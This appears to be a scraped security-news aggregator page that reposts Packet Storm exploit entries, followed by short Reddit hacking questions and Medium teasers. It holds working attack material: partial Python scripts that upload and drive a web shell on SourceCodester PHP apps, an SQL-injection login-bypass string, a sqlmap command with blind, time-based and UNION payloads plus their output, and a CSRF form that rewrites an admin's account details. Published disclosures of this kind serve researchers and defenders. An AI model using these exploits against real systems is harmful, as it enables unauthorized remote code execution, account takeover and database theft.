Exploit Collector
Church Management System 1.0 Shell Upload


https://1.bp.blogspot.com/-f08tQl4ET7w/WWlvRxSI6FI/AAAAAAAAINU/PQjq5zhIC6AFgb3OPDnJIpwa9KgUsaunwCLcBGAs/s1600/h37.png
Church Management System version 1.0 remote shell upload exploit.

MD5 | 5c2e75b9bc007a4015cb43e73a0bf6dd

Download
# Exploit Title: Church Management System (CMS-Website) - Unauthenticated RCE
# Exploit Author: Abdullah Khawaja
# Date: 2021-09-17
# Vendor Homepage: https://www.sourcecodester.com/php/14949/church-management-system-cms-website-using-php-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/church_management_1.zip
# Version: 1.0
# Tested On: Linux, Windows 10 + XAMPP 7.4.4
# Description: Church Management System (CMS-Website) 1.0 - Unauthenticated Remote Code Execution

#Step 1: run the exploit in python with this command: python3 CMS-RCEv1.0.py
#Step 2: Input the URL of the vulnerable application: Example: http://192.168.10.11/church_management/
import requests, sys, urllib, re
import datetime
from colorama import Fore, Back, Style

requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

header = Style.BRIGHT+Fore.RED+' '+Fore.RED+' Abdullah '+Fore.RED+'"'+Fore.RED+'hax.3xploit'+Fore.RED+'"'+Fore.RED+' Khawaja\n'+Style.RESET_ALL

print(Style.BRIGHT+" Church Management System v1.0")
print(Style.BRIGHT+" Unauthenticated Remote Code Execution"+Style.RESET_ALL)
print(header)

print(r"""
.----------.
.-''-. / /
. __ __ ___ .' .-. ) / ______.'
.'| | |/ `.' `. / .' / / / /_
.' | | .-. .-. ' (_/ / / / '''--.
< | __ __ | | | | | | ,.----------. / / '___ `.
| | ____ .:--.'. .:--.'. | | | | | |// \ / / `'. |
| | \ .' / | \ | / | \ || | | | | |\\ /. ' ) |
| |/ . `" __ | | `" __ | || | | | | | `'----------'/ / _.-')......-' /
| /\ \ .'.''| | .'.''| ||__| |__| |__| .' ' _.'.-'' \ _..'`
| | \ \ / / | |_/ / | |_ / /.-'_.' '------'''
' \ \ \ \ \._,\ '/\ \._,\ '/ / _.'
'------' '---'`--' `" `--' `" ( _.-'

abdullahkhawaja.com
""")
GREEN = '\033[32m' # Green Text
RED = '\033[31m' # Red Text
RESET = '\033[m' # reset to the defaults
#Create a new session
#proxies = {'http': 'http://127.0.0.1:8080', 'https': 'https://127.0.0.1:8080'}
s = requests.Session()
#Set Cook[...]

Exploit Collector
Online Food Ordering System 2.0 Shell Upload


https://2.bp.blogspot.com/-DNFQNR6e8p4/WWlvIe_2SVI/AAAAAAAAILs/sd08rXaHefk0y1DdsYY6dPeiz0i718ntQCLcBGAs/s1600/h143.png
Online Food Ordering System version 2.0 remote shell upload exploit.

MD5 | 3f132c1cd4abfb44da7318034f0e0404

Download
# Exploit Title: Online Food Ordering System 2.0 - Unauthenticated Remote Code Execution
# Exploit Author: Abdullah Khawaja (hax.3xploit)
# Date: 2021-09-19
# Vendor Homepage: https://www.sourcecodester.com/php/14951/online-food-ordering-system-php-and-sqlite-database-free-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/online_ordering.zip
# Version: 2.0
# Tested On: Kali Linux, Windows 10 + XAMPP 7.4.4
# Description: Online Food Ordering System 2.0 - Unauthenticated Remote Code Execution

#Step 1: run the exploit in python with this command: python3 OFOS_v2.0.py
#Step 2: Input the URL of the vulnerable application: Example: http://192.168.10.6/fos/
import requests, sys, urllib, re
import datetime
from colorama import Fore, Back, Style

requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
header = Style.BRIGHT+Fore.RED+' '+Fore.RED+' Abdullah '+Fore.RED+'"'+Fore.RED+'hax.3xploit'+Fore.RED+'"'+Fore.RED+' Khawaja\n'+Style.RESET_ALL

print(Style.BRIGHT+" Online Food Ordering System v2.0")
print(Style.BRIGHT+" Unauthenticated Remote Code Execution"+Style.RESET_ALL)
print(header)

print(r"""
______ _______ ________
___ //_/__ /_______ ___ _______ ______(_)_____ _
__ ,< __ __ \ __ `/_ | /| / / __ `/____ /_ __ `/
_ /| | _ / / / /_/ /__ |/ |/ // /_/ /____ / / /_/ /
/_/ |_| /_/ /_/\__,_/ ____/|__/ \__,_/ ___ / \__,_/
/___/
abdullahkhawaja.com
""")
GREEN = '\033[32m' # Green Text
RED = '\033[31m' # Red Text
RESET = '\033[m' # reset to the defaults
#Create a new session
proxies = {'http': 'http://127.0.0.1:8080', 'https': 'https://127.0.0.1:8080'}
s = requests.Session()
proxies = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
#Set Cookie
cookies = {'PHPSESSID': 'd794ba06fcba883d6e9aaf6e528b0733'}

LINK=input("Enter URL of The Vulnarable Application : ")
def webshell(LINK, session):
try:
WEB_SHELL = LINK+'/assets/img/'+filename
getdir = {'cmd': 'echo %CD%'}
r2 = session.get(WEB_SHELL, params=getdir, verify=False)
status = r2.status_code
if status != 200:
print (Style.BRIGHT+Fore.RED+"[!] "+Fore.RESET+"Could not connect to the webshell."+Style.RESET_ALL)
r2.raise_for_status()
print(Fore.GREEN+'[+] '+Fore.RESET+'Successfully connected to webshell.')
cwd = re.findall('[CDEF].*', r2.text)
cwd = cwd[0]+"> "
term = Style.BRIGHT+Fore.GREEN+cwd+Fore.RESET
[...]

Exploit Collector
AMD Chipset Driver Information Disclosure / Memory Leak


ZeroPeril Ltd has discovered two issues inside the amdpsp.sys (v4.13.0.0) kernel driver module that ships with the AMD Chipset Drivers package for multiple AMD chipsets. The first issue is an information disclosure type security vulnerability and the second is a memory leak type bug due to insufficient releasing of all associated allocated resources upon request. The researchers have verified both in the latest Revision Number (2.13.27.501) of the package that was released the 4th of February 2021.

MD5 | f75f9682872ea122ae17d2135dc3359a

Download


Source:packetstormsecurity.com

Exploit CollectorBudget And Expense Tracker System 1.0 SQL Injection


Budget and Expense Tracker System version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

MD5 | 40bed83356597733c7fd84b5cb6b2ee0

Download



# Exploit Title: Budget and Expense Tracker System 1.0 - Authenticated Bypass
# Exploit Author: Prunier Charles-Yves
# Date: September 20, 2021
# Vendor Homepage: https://www.sourcecodester.com/php/14893/budget-and-expense-tracker-system-php-free-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/expense_budget.zip
# Tested on: Linux, windows
# Vendor: oretnom23
# Version: v1.0

# Exploit Description:
Budget and Expense Tracker System 1.0, is prone to an Easy authentication bypass vulnerability on the application
allowing the attacker to login with admin acount


----- PoC: Authentication Bypass -----

Administration Panel: http://localhost/expense_budget/admin/login.php

Username: admin' or ''=' --



Source:packetstormsecurity.com

Exploit CollectorChurch Management System 1.0 SQL Injection


Church Management System version 1.0 suffers from a remote SQL injection vulnerability. Original discovery of SQL injection in this version is attributed to Murat Demirci in July of 2021.

MD5 | 445f577a4e7298a5becd39ec3d3cc6c3

Download



# Exploit Title: Church Management System 1.0 - 'search' SQL Injection (Unauthenticated)
# Exploit Author: Erwin Krazek (Nero)
# Date: 17/09/2021
# Vendor Homepage: https://www.sourcecodester.com/php/14949/church-management-system-cms-website-using-php-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/church_management_1.zip
# Vendor: oretnom23
# Version: v1.0
# Tested on: Linux, Apache, Mysql
# Exploit Description:
Church Management System 1.0 suffers from an unauthenticated SQL Injection Vulnerability in 'search' parameter allowing remote attackers to dump the SQL database using SQL Injection attack.

# Vulnerable Code
In search.php on line 28
$count_all = $conn->query("SELECT b.*,concat(u.firstname,' ',u.lastname) as author FROM `blogs` b inner join `users` u on b.author_id = u.id where b.`status` =1 and (b.`title` LIKE '%{$_GET['search']}%' OR b.`meta_description` LIKE '%{$_GET['search']}%' OR b.`keywords` LIKE '%{$_GET['search']}%' OR b.`content` LIKE '%{$_GET['search']}%' )")->num_rows;

Sqlmap command:
sqlmap -u 'http://localhost/church_management/?p=search&search=abcsw' -p search --level=5 --risk=3 --dbs --random-agent --eta --batch

Output:
---
Parameter: search (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
Payload: p=search&search=abcsw') OR NOT 4306=4306-- rFTu

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: p=search&search=abcsw') AND (SELECT 7513 FROM (SELECT(SLEEP(5)))SsaK)-- zpac

Type: UNION query
Title: Generic UNION query (NULL) - 14 columns
Payload: p=search&search=abcsw') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71766a7671,0x456e6d5461414774466e62636744424f786d74596e6270647a7063425669697970744a5351707970,0x7178787671),NULL,NULL,NULL,NULL-- -
---
[17:33:38] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.46, PHP
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[17:33:38] [INFO] fetching database names
available databases [4]:
[*] church_db
[*] information_schema
[*] mysql
[*] performance_schema



Source:packetstormsecurity.com

Exploit CollectorT-Soft E-Commerce 4 Cross Site Request Forgery


T-Soft E-Commerce version 4 suffers from a cross site request forgery vulnerability.

MD5 | 6e54f2c9db010d22ce70cd8e73093ee8

Download



# Exploit Title: T-Soft E-Commerce 4 - change 'admin credentials' Cross-Site Request Forgery (CSRF)
# Exploit Author: Alperen Ergel
# Software Homepage: https://www.tsoft.com.tr/
# Version : v4
# Tested on: Kali Linux (2021.4) / xammp
# Category: WebApp
# Google Dork: intext:'T-Soft E-Ticaret Sistemleriyle Hazırlanmıştır.'"
# Date: 2021-08-15
######## Description ########
#
# Attacker can change admin informaiton
#
#
######## Proof of Concept ########

POST /srv/service/admin/updateuserinfo HTTP/1.1

Host: localhost

Cookie: lang=tr; PHPSESSID=f2904b66de6c0e7ac0d4a9707b9f978c; rest1SupportUser=0; countryCode=TR; nocache=1; yayinlanmaDurumuPopup=1; yayinlanmaDurumuPopupTimeout=864000; webpush=1; U_TYPE_CK=131; U_TYPE_OK=c16a5320fa475530d9583c34fd356ef5; TSOFT_LOGGED=7d025a34d0526c8896d713159b0d1ffe; email=; phone=; password=

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0

Accept: application/json, text/javascript, */*; q=0.01

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

X-Requested-With: XMLHttpRequest

Content-Length: 74

Origin: http://localhost

Referer: http://localhost/Y/

Te: trailers

Connection: close



firstName=Victim&lastName=victim&email=victim%40mail.com&phone=12584368595




####### EXPLOIT ##################
<html>

<body>

<script>history.pushState('', '', '/')</script>

<form action="victimsite.com/srv/service/admin/updateuserinfo" method="POST">

<input type="hidden" name="firstName" value="[CHANGEHERE]" />

<input type="hidden" name="lastName" value="[CHANGEHERE]" />

<input type="hidden" name="email" value="[CHANGEHERE]" />

<input type="hidden" name="phone" value="[CHANGEHERE]" />

<input type="submit" value="Submit request" />

</form>

</body>

</html>



Source:packetstormsecurity.com

Exploit Collector
Microsoft Windows MSHTML Overview


This article discusses the CVE-2021-40444 vulnerability and an alternative path that reduces the lines of JS code to trigger the issue and does not require CAB archives.

MD5 | adb871524d9737af0fef53123fa0b931

Download


Source:packetstormsecurity.com

hacking: security in practice
Hacking older Samsung Smart TV to support Airplay

Is it possible to enable airplay in any way on my older Samsung tv (2011)? It should be hardware wise capable of that right?

Model Number: UE55D8000
Software Version: T-GAP8DEUC-1021.2 ,BT-G

submitted by /u/petak33
[link] [comments]

hacking: security in practice
Are "hackers for hire" a thing?

Do hackers do it for a living? Are there any honest hackers for hire or is it just a big scam?

Is it legal to be paid for hacking, within certain limits?

submitted by /u/MrLandlubber
[link] [comments]

hacking: security in practice
DNS tunneling is unsecure ? iodine

Hi there,

I was just gonna try to establish a DNS tunnel connection point from a server, just for fun and see what I really get. I have taken a look to the following tutorial https://medium.com/@galolbardes/learn-how-easy-is-to-bypass-firewalls-using-dns-tunneling-and-also-how-to-block-it-3ed652f4a000 That take us to the tool iodinehttps://github.com/yarrick/iodine

As far as I could see , there is no keys or certificates to be established in this connection , so my main concern is , if I were to "serve" a connection via iodine, that connection can be accessed through literally any host over the internet, so someone could probe this and hack into my server.

Am I right or I'm missing the point on how this service work?

Has anyone tried it?

Any thoughts?

Thank you!

submitted by /u/brohermano
[link] [comments]

Hacking on Medium
NUEVO MALWARE APUNTA AL SUBSISTEMA DE WINDOWS PARA LINUX PARA EVADIR LA DETECCIÓN


PUBLICADO EN 20 SEPTIEMBRE, 2021POR EHACKING

Continue reading on Medium »

Hacking on Medium
Hacktivitycon 2021 — Writeups (Part 2)


Bad Words

Continue reading on Medium »

Hacking on Medium
PBJar CTF 2021 — WriteUp


WriteUp

Continue reading on Medium »